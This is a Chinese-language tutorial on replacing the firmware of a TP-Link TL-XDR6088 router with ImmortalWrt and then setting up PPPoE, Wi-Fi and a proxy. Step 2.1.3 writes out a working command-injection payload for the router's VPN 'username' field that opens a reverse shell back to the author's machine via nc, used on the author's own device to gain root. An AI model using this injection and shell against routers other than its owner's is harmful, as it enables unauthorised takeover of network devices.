我的操作系统是 Mac。
1. 准备工作
1.1 下载 Immortalwrt 镜像文件
首先下载镜像文件,这里面的 4 个文件都需要下载。 官方地址:ImmortalWrt Firmware Selector

1.2 安装 nmap
brew install nmap
1.4 设置电脑 IP
重要:使用网线一头插在路由器的 1G 口上,另一头插在电脑上,然后手动设置:
- IP 地址:
192.168.1.254 - 网关地址:
192.168.1.1 - 子网掩码:
255.255.255.0

1.5 路由器恢复出厂设置
建议先将路由器还原为出厂设置,避免因为设置不同导致的影响,拿牙签插路由器小孔数秒。 恢复出厂设置以后,路由器的默认后台地址是 192.168.1.1
1.6 准备 TFTP 服务器
1.6.1 下载 Transfer - Mac File Server
因为我使用 macOS 内置的 tftp 时,后面路由器自动获取 Recovery 镜像文件 immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 的时候报错
IP 192.168.1.1.3417 > 192.168.1.254.69: TFTP, length 101, RRQ "immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb" octet timeout 5 blksize 1468
1.6.2 把 ImmortalWrt 的镜像文件移动到 /private/tftpboot 目录
sudo mv ~/Downloads/immortalwrt* /private/tftpboot/

如果 Transfer 默认没有开启 TFTP,就打开设置,勾选上 TFTP。

2. 安装 ImmortalWrt
2.1 获取路由器控制权限
2.1.1 获取路由器 stok
进入路由器后台网址 192.168.1.1,按下 CMD + Option + i 打开浏览器 Devtools,在 Network 中找到一个 ds 的请求,点击请求,复制 stock= 与 /ds 之间的内容,如下图所示:

2.1.2 运行 ncat 监听
打开终端,输入一下命令,我将这个终端称为【终端 1】,以防混淆。
ncat -nvlp 4444
2.1.3 通过路由器 vpn 权限漏洞获取权限
再打开一个新的终端【终端 2】,依次输入如下命令:
- 执行下面命令,将获取到的
stok设置为环境变量:
export stok=刚才复制的那一串内容
- 执行下面命令
curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'
执行成功后应该能看到终端输出返回 {"error_code":0}
3. 执行下面命令
curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
同样可以看到返回 {"error_code":0},并且刚刚运行的 ncat 的【终端 1】会有如下图所示的变化:
这时我们便获取了路由器的控制权限,可以进行下一步的操作。
2.1.2 安装 ImmortalWrt uboot
在【终端 1】执行下面命令:
传输 uboot 文件
tftp -g -l /tmp/preloader.bin -r immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/uboot.fip -r immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254
写入 uboot 文件
一定按照顺序执行下面的命令,执行以后耐心等待:
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip
执行完毕后终端将有类似下面的输出:

2.1.3 重启路由器,写入 recovery 镜像
- 将
immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb重命名为immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb,这里是因为 immortalwrt 重启以后会自动请求名字为immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb的文件。
在【终端 2】中输入以下命令:
sudo mv /private/tftpboot/immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb /private/tftpboot/immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb
- 直接拔掉路由器电源再插上进行重启,注意:这里不要断开路由器与电脑的连接。
路由器重启后将后台通过
tftp从我们的电脑上请求immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb文件,这里只需要打开浏览器,输入192.168.1.1进行等待以及时不时的刷新即可,最终将会进入到如下界面:
- 直接点击
Log in进入网页,按照网页提示上传sysupgrade.itb镜像,上传的文件名应该是immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-squashfs-sysupgrade.itb,如下图所示:
- 然后点击
Upload,Continue,等待系统安装,然后就可以大功告成。
3. 光猫改桥接
闲鱼上找人把光猫改成桥接。
改成桥接以后, 使用路由器 PPPOE 进行拨号上网。 这样配置以后,会有一个公网 IP,一个局域网 IP(192.168.1.1),一次 NAT。最简单。
4. 配置 ImmortalWrt 网络
点击 网络 -> 接口,修改 Wan 口,改成 PPPOE 拨号。
输入宽带账号,密码,点击保存并应用。
点击 网络 ->无线,配置 Wi-Fi。修改 2.4G 和 5G 的 Wi-Fi 名称和密码。
- 2.4G 推荐使用中等强度密码,因为密码强度太高,会导致有些老设备连不上。
- 5G,选 80MHZ。
5. 配置科学上网
先安装个主题,argon
然后安装 homeproxy,安装以后,点击 服务 -> homeproxy,导入机场的订阅链接,更新订阅,选择服务启动。
这时就可以愉快的上网啦😀。